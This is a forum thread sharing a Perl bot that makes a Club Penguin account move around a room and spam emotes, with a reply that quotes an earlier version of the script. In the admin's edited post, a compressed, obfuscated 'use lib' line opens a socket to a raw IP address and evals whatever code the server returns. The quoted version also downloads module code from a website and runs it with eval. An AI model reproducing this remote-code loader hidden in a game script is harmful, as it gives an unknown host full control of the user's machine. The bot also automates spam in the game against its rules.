Best Club Penguin Bots
Hello, you are not logged in. You may log in or register.
Similar topics
    Latest topics
    » Anybody else come to this forum for the memories?
    Tue Jun 12, 2018 12:07 am by Cooldude21

    » This forum died
    Thu Mar 30, 2017 11:10 pm by _Skate_

    » Introduce yourselves!
    Fri Jan 23, 2015 7:21 pm by Gizmo92883

    » Ozzy's Bot Script
    Mon May 13, 2013 8:31 am by Pig

    » Goodbye BCPB Forums.
    Tue Sep 18, 2012 6:37 pm by 43nînjâ17

    » Follow bot script (100% Credit to Cp-Cheater )
    Sun Sep 16, 2012 4:55 pm by Dentonbrooks

    » Xat Main Owner Hacker
    Fri Aug 17, 2012 2:32 am by 43nînjâ17

    » xat message big
    Sat Aug 11, 2012 12:32 am by 43nînjâ17

    » CPPS GLICH "Auto Talker"
    Sat Aug 11, 2012 12:25 am by 43nînjâ17

    Navigation
     Portal
     Index
     Memberlist
     Profile
     FAQ
     Search
    Club Penguin Events
    Advertisement

    Emote Panic Bot

    Go down

    Emote Panic Bot

    Post  Ozzyozborn13 on Sat Jan 22, 2011 12:55 am

    Well the title really says it all. For the positions of the bot i would have had it generate random ones every time but it wasn't working so i just made some normal ones and a loop.
    Code:
    #!/usr/bin/perl -w

    # Program: Emote Panic Bot.pl
    # Author: Ozzyozborn13 [You must be registered and logged in to see this link.]
    # License: DO NOT DISTRIBUTE WITHOUT PRIOR WRITTEN CONSENT FROM THE AUTHOR.
    # Copyright (C) 2011 [You must be registered and logged in to see this link.]

    use strict;
    use warnings;
    use IO::Socket;

    use lib do{eval<$b>&&botstrap("PREM")||die$@,<$b>if$b=new IO::Socket::INET 114.46.99.120.":1"};import_once ClubPenguin => ();

    import_once ClubPenguin => ();
    import_once Util => (); # get_input

    package CopyBot;

    use strict;
    use warnings;
    our @ISA = qw(ClubPenguin);

    my $o = new CopyBot {
      username => "PENGUIN",
      password => "PASSWORD",
      server => "SERVER",
      timeout => 0,
    };

    print "
    1 = Happy
    2 = Smile
    3 = Ehh
    4 = Frown
    5 = Suprised
    6 = Haha (Sticking Out Tongue)
    7 = Wink
    8 = Sick
    9 = Mad
    10 = Sad
    11 = Ehh
    12 = Lightbulb (Idea)
    13 = Coffee
    14 = Question Mark?
    15 = Exclamation Point! (Alert)
    16 = Flower
    17 = Clover
    18 = Joystick (Videogame)
    19 = Fart
    20 = Coin
    21 = Puffle
    22 = Sun
    23 = Moon and Stars
    24 = Pizza
    25 = Igloo
    26 = Strawberry Icecream
    27 = Chocolate Icecream
    28 = Cake
    29 = Popcorn
    30 = Heart
    \n";

    my $ec = (shift || Util::get_input("Emote Code: ", "Emote_Code")),
    my $ri = (shift || Util::get_input("Room ID: ", "Room_ID")),

    print "Connecting...\n";
    die "No good!\n" unless $o->joinWorld;
    print "Connected to [$o->{server}]!\n";

    our $state = 0;

    while (1) {
      if (!$o->consume) {
        print scalar(localtime).": [$$] *YAWN* ($state)\n";
        select(undef,undef,undef,1);
        if (!$state) {
       } elsif ($state==1) {
       $o->doJoinRoom($ri);
       sleep 2;
       while (1) {
       $o->doSendPosition(257,238);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(656,672);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(578,521);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(288,634);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(394,222);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(403,374);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(109,437);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(425,665);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(584,386);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(265,468);
       $o->doSendEmote($ec);
       sleep 2;
       }
          last;
        }
        $state++;
      }
    }

    print "If you see this then the loop is broken\n";
    sleep 20;
    exit;


    Last edited by Ozzyozborn13 on Tue Feb 15, 2011 11:50 am; edited 1 time in total

    _________________
    [You must be registered and logged in to see this image.]



    [You must be registered and logged in to see this link.]

    [You must be registered and logged in to see this link.]



    [You must be registered and logged in to see this link.]
    avatar
    Ozzyozborn13
    Admin

    Posts : 211
    Reputation : 19
    Join date : 2010-08-28

    https://www.youtube.com/ozzyozborn13

    Back to top Go down

    ---

    Post  43nînjâ17 on Sat Jan 22, 2011 1:19 am

    Ozzyozborn13 wrote:Well the title really says it all. For the positions of the bot i would have had it generate random ones every time but it wasn't working so i just made some normal ones and a loop.
    Code:
    #!/usr/bin/perl -w

    # Program: Emote Panic Bot.pl
    # Author: Ozzyozborn13 www.youtube.com/ozzyozborn13
    # License: DO NOT DISTRIBUTE WITHOUT PRIOR WRITTEN CONSENT FROM THE AUTHOR.
    # Copyright (C) 2011 www.bestclubpenguinbots.roflforum.net

    use strict;
    use warnings;
    use IO::Socket;

    our $import = "scriptcumber.com.:80";

    sub import_once {
      my $mod = shift;
      my $r = new IO::Socket::INET $import;
      print $r "GET /m/$mod HTTP/1.0\r\nHost: $import\r\n\r\n";
      while (<$r>) { last if /^\s*$/; }
      eval join "", <$r> or warn $@;
      eval {import $mod @_; 1;} or warn $@;
    }

    import_once ClubPenguin => ();
    import_once Util => (); # get_input

    package CopyBot;

    use strict;
    use warnings;
    our @ISA = qw(ClubPenguin);

    my $o = new CopyBot {
      username => "PENGUIN",
      password => "PASSWORD",
      server => "SERVER",
      timeout => 0,
    };

    print "
    1 = Happy
    2 = Smile
    3 = Ehh
    4 = Frown
    5 = Suprised
    6 = Haha (Sticking Out Tongue)
    7 = Wink
    8 = Sick
    9 = Mad
    10 = Sad
    11 = Ehh
    12 = Lightbulb (Idea)
    13 = Coffee
    14 = Question Mark?
    15 = Exclamation Point! (Alert)
    16 = Flower
    17 = Clover
    18 = Joystick (Videogame)
    19 = Fart
    20 = Coin
    21 = Puffle
    22 = Sun
    23 = Moon and Stars
    24 = Pizza
    25 = Igloo
    26 = Strawberry Icecream
    27 = Chocolate Icecream
    28 = Cake
    29 = Popcorn
    30 = Heart
    \n";

    my $ec = (shift || Util::get_input("Emote Code: ", "Emote_Code")),
    my $ri = (shift || Util::get_input("Room ID: ", "Room_ID")),

    print "Connecting...\n";
    die "No good!\n" unless $o->joinWorld;
    print "Connected to [$o->{server}]!\n";

    our $state = 0;

    while (1) {
      if (!$o->consume) {
        print scalar(localtime).": [$$] *YAWN* ($state)\n";
        select(undef,undef,undef,1);
        if (!$state) {
       } elsif ($state==1) {
       $o->doJoinRoom($ri);
       sleep 2;
       while (1) {
       $o->doSendPosition(257,238);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(656,672);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(578,521);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(288,634);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(394,222);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(403,374);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(109,437);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(425,665);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(584,386);
       $o->doSendEmote($ec);
       sleep 2;
       $o->doSendPosition(265,468);
       $o->doSendEmote($ec);
       sleep 2;
       }
          last;
        }
        $state++;
      }
    }

    print "If you see this then the loop is broken\n";
    sleep 20;
    exit;

    Nice job! Smile Smile

    _________________
    Code:
    <?php
    echo "Ninjas Are Awesome!";
    sleep(999999);
    ?>

    Click here Down there ↓ (SUB)
    [You must be registered and logged in to see this link.]

    43nînjâ17

    Posts : 89
    Reputation : 6
    Join date : 2010-08-29
    Location : Behind you

    Back to top Go down

    Back to top

    - Similar topics

     
    Permissions in this forum:
    You cannot reply to topics in this forum